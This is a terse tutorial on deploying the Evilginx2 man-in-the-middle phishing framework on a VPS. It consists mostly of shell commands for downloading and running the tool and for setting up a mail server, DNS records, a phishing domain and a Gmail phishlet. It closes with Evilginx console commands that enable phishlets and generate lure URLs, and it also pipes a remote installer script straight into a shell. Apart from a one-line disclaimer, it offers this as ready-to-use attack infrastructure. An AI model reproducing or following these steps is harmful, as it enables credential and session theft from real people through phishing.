How to Install and Configure Evilginx2 on a Digital Ocean VPS [2025 Guide]

 

Introduction:

Evilginx2 is a powerful phishing framework often used by red teamers and ethical hackers to simulate advanced man-in-the-middle attacks. In this guide, I’ll show you how to install and configure Evilginx2 on a DigitalOcean VPS from scratch.

⚠️ Disclaimer: This guide is for educational purposes only. Do not use Evilginx without proper authorization.

 

Prerequisites

• A registered domain name

• A DigitalOcean VPS (Ubuntu 20.04 or later)

• Basic Linux terminal knowledge

• An SSH client

Step 1: Set Up Your VPS

1. Create a Droplet on DigitalOcean (Ubuntu 20.04 LTS or later version). 

2. SSH into your VPS:  ssh root@your_server_ip

Step 2: Update & Install Dependencies

1. apt update && apt upgrade -y

2. apt install wget curl golang unzip nano -y

Step 3: Go to google and search for evilginix

       Go to releases--- choose the latest for Linux

       Right click and copy link address

      wget LINK_YOU_COPIED 

ls

unzip evilginx......zip

ls

rm evilg.....zip

ls

chmod +x evilginx

ls

./evilginx

How to build your SMTP server

 sudo hostnamectl set-hostname mail.notuuk.com

sudo nano /etc/hosts    ( navigate to the last line and add ur domain mail.yourdomain.com) 

ctrl x     y   enter

hostname

sh <(curl https://cyberpanel.net/install.sh || wget -O - https://cyberpanel.net/install.sh)

RECORDS TO ADD

type: A  name: @    ipv4: IP off proxy status ttl: auto

type: A  name: mail    ipv4: IP off proxy status ttl: auto

type: A  name: www    ipv4: IP off proxy status ttl: auto

type: A  name: www.mailserver    ipv4: IP off proxy status ttl: auto

type: A  name: www.mail    ipv4: IP off proxy status ttl: auto

type: mx  name: @    mailserver: mail.yourdomain.com IP off proxy status ttl: auto

type: txt

type: txt

Evilginx On Local host

 

sudo apt install evilginx2

evilginx2 -h

cd /usr/share/evilginx2/phishlets

sudo nano /etc/hosts

add 127.0.0.1 and the name of the phishing domain to use

add your own phishlet : touch gmail.yaml

watch for phish_sub end points and add to your sudo nano /etc/hosts file

sudo evilginx2 --developer

COMMANDS NEEDED

config domain example.com

config ipv4 127.0.0.1

phishlets hostname phishlet_name example.com

phishlets enable phishlet_name

lures create phishlet_name

lures get-url 2